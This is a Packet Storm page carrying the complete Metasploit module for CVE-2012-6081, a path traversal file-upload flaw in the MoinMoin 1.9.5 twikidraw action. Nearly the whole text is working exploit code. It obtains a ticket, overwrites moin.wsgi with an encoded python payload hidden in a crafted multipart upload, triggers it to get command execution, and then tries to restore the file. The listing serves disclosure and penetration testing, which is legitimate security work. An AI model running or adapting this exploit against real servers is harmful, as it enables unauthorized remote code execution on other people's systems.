Lucene search

K
packetstormJuan vazquezPACKETSTORM:122079
HistoryJun 19, 2013 - 12:00 a.m.

MoinMoin twikidraw Action Traversal File Upload

2013-06-1900:00:00
juan vazquez
packetstormsecurity.com
45

0.955 High

EPSS

Percentile

99.4%

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ManualRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'MoinMoin twikidraw Action Traversal File Upload',  
'Description' => %q{  
This module exploits a vulnerability in MoinMoin 1.9.5. The vulnerability  
exists on the manage of the twikidraw actions, where a traversal path can be used  
in order to upload arbitrary files. Exploitation is achieved on Apached/mod_wsgi  
configurations by overwriting moin.wsgi, which allows to execute arbitrary python  
code, as exploited in the wild on July, 2012. The user is warned to use this module  
at his own risk since it's going to overwrite the moin.wsgi file, required for the  
correct working of the MoinMoin wiki. While the exploit will try to restore the  
attacked application at post exploitation, correct working after all isn't granted.  
},  
'Author' =>  
[  
'Unknown', # Vulnerability discovery  
'HTP', # PoC  
'juan vazquez' # Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'CVE', '2012-6081' ],  
[ 'OSVDB', '88825' ],  
[ 'BID', '57082' ],  
[ 'EDB', '25304' ],  
[ 'URL', 'http://hg.moinmo.in/moin/1.9/rev/7e7e1cbb9d3f' ],  
[ 'URL', 'http://wiki.python.org/moin/WikiAttack2013' ]  
],  
'Privileged' => false, # web server context  
'Payload' =>  
{  
'DisableNops' => true,  
'Space' => 16384, # Enough one to fit any payload  
'Compat' =>  
{  
'PayloadType' => 'cmd',  
'RequiredCmd' => 'generic telnet netcat perl'  
}  
},  
'Platform' => [ 'unix' ],  
'Arch' => ARCH_CMD,  
'Targets' => [[ 'MoinMoin 1.9.5', { }]],  
'DisclosureDate' => 'Dec 30 2012',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('TARGETURI', [ true, "MoinMoin base path", "/" ]),  
OptString.new('WritablePage', [ true, "MoinMoin Page with edit permissions to inject the payload, by default WikiSandbox (Ex: /WikiSandbox)", "/WikiSandBox" ]),  
OptString.new('USERNAME', [ false, "The user to authenticate as (anonymous if username not provided)"]),  
OptString.new('PASSWORD', [ false, "The password to authenticate with (anonymous if password not provided)" ])  
], self.class)  
end  
  
def moinmoin_template(path)  
template =[]  
template << "# -*- coding: iso-8859-1 -*-"  
template << "import sys, os"  
template << "sys.path.insert(0, 'PATH')".gsub(/PATH/, File.dirname(path))  
template << "from MoinMoin.web.serving import make_application"  
template << "application = make_application(shared=True)"  
return template  
end  
  
def restore_file(session, file, contents)  
first = true  
contents.each {|line|  
if first  
session.shell_command_token("echo \"#{line}\" > #{file}")  
first = false  
else  
session.shell_command_token("echo \"#{line}\" >> #{file}")  
end  
}  
end  
  
# Try to restore a basic moin.wsgi file with the hope of making the  
# application usable again.  
# Try to search on /usr/local/share/moin (default search path) and the  
# current path (apache user home). Avoiding to search on "/" because it  
# could took long time to finish.  
def on_new_session(session)  
print_status("Trying to restore moin.wsgi...")  
begin  
files = session.shell_command_token("find `pwd` -name moin.wsgi 2> /dev/null")  
files.split.each { |file|  
print_status("#{file} found! Trying to restore...")  
restore_file(session, file, moinmoin_template(file))  
}  
  
files = session.shell_command_token("find /usr/local/share/moin -name moin.wsgi 2> /dev/null")  
files.split.each { |file|  
print_status("#{file} found! Trying to restore...")  
restore_file(session, file, moinmoin_template(file))  
}  
print_warning("Finished. If application isn't usable, manual restore of the moin.wsgi file would be required.")  
rescue  
print_warning("Error while restring moin.wsgi, manual restoring would be required.")  
end  
end  
  
def do_login(username, password)  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(@base, @page),  
'vars_post' =>  
{  
'action' => 'login',  
'name' => username,  
'password' => password,  
'login' => 'Login'  
}  
})  
  
if not res or res.code != 200 or not res.headers.include?('Set-Cookie')  
return nil  
end  
  
return res.get_cookies  
  
end  
  
def upload_code(session, code)  
  
vprint_status("Retrieving the ticket...")  
  
res = send_request_cgi({  
'uri' => normalize_uri(@base, @page),  
'cookie' => session,  
'vars_get' => {  
'action' => 'twikidraw',  
'do' => 'modify',  
'target' => '../../../../moin.wsgi'  
}  
})  
  
if not res or res.code != 200 or res.body !~ /ticket=(.*?)&target/  
vprint_error("Error retrieving the ticket")  
return nil  
end  
  
ticket = $1  
vprint_good("Ticket found: #{ticket}")  
  
my_payload = "[MARK]#{code}[MARK]"  
post_data = Rex::MIME::Message.new  
post_data.add_part("drawing.r if()else[]\nexec eval(\"open(__file__)\\56read()\\56split('[MARK]')[-2]\\56strip('\\\\0')\")", nil, nil, "form-data; name=\"filename\"")  
post_data.add_part(my_payload, "image/png", nil, "form-data; name=\"filepath\"; filename=\"drawing.png\"")  
my_data = post_data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(@base, @page),  
'cookie' => session,  
'vars_get' =>  
{  
'action' => 'twikidraw',  
'do' => 'save',  
'ticket' => ticket,  
'target' => '../../../../moin.wsgi'  
},  
'data' => my_data,  
'ctype' => "multipart/form-data; boundary=#{post_data.bound}"  
})  
  
if not res or res.code != 200 or not res.body.empty?  
vprint_error("Error uploading the payload")  
return nil  
end  
  
return true  
end  
  
def check  
@base = target_uri.path  
@base << '/' if @base[-1, 1] != '/'  
  
res = send_request_cgi({  
'uri' => normalize_uri(@base)  
})  
  
if res and res.code == 200 and res.body =~ /moinmoin/i and res.headers['Server'] =~ /Apache/  
return Exploit::CheckCode::Detected  
elsif res  
return Exploit::CheckCode::Unknown  
end  
  
return Exploit::CheckCode::Safe  
end  
  
def writable_page?(session)  
  
res = send_request_cgi({  
'uri' => normalize_uri(@base, @page),  
'cookie' => session,  
})  
  
if not res or res.code != 200 or res.body !~ /Edit \(Text\)/  
return false  
end  
  
return true  
end  
  
  
def exploit  
  
# Init variables  
@page = datastore['WritablePage']  
  
@base = target_uri.path  
@base << '/' if @base[-1, 1] != '/'  
  
# Login if needed  
if (datastore['USERNAME'] and  
not datastore['USERNAME'].empty? and  
datastore['PASSWORD'] and  
not datastore['PASSWORD'].empty?)  
print_status("Trying login to get session ID...")  
session = do_login(datastore['USERNAME'], datastore['PASSWORD'])  
else  
print_status("Using anonymous access...")  
session = ""  
end  
  
# Check authentication  
if not session  
fail_with(Exploit::Failure::NoAccess, "Error getting a session ID, check credentials or WritablePage option")  
end  
  
# Check writable permissions  
if not writable_page?(session)  
fail_with(Exploit::Failure::NoAccess, "There are no write permissions on #{@page}")  
end  
  
# Upload payload  
print_status("Trying to upload payload...")  
python_cmd = "import os\nos.system(\"#{Rex::Text.encode_base64(payload.encoded)}\".decode(\"base64\"))"  
res = upload_code(session, "exec('#{Rex::Text.encode_base64(python_cmd)}'.decode('base64'))")  
if not res  
fail_with(Exploit::Failure::Unknown, "Error uploading the payload")  
end  
  
# Execute payload  
print_status("Executing the payload...")  
res = send_request_cgi({  
'uri' => normalize_uri(@base, @page),  
'cookie' => session,  
'vars_get' => {  
'action' => 'AttachFile'  
}  
}, 5)  
  
end  
  
end  
  
  
`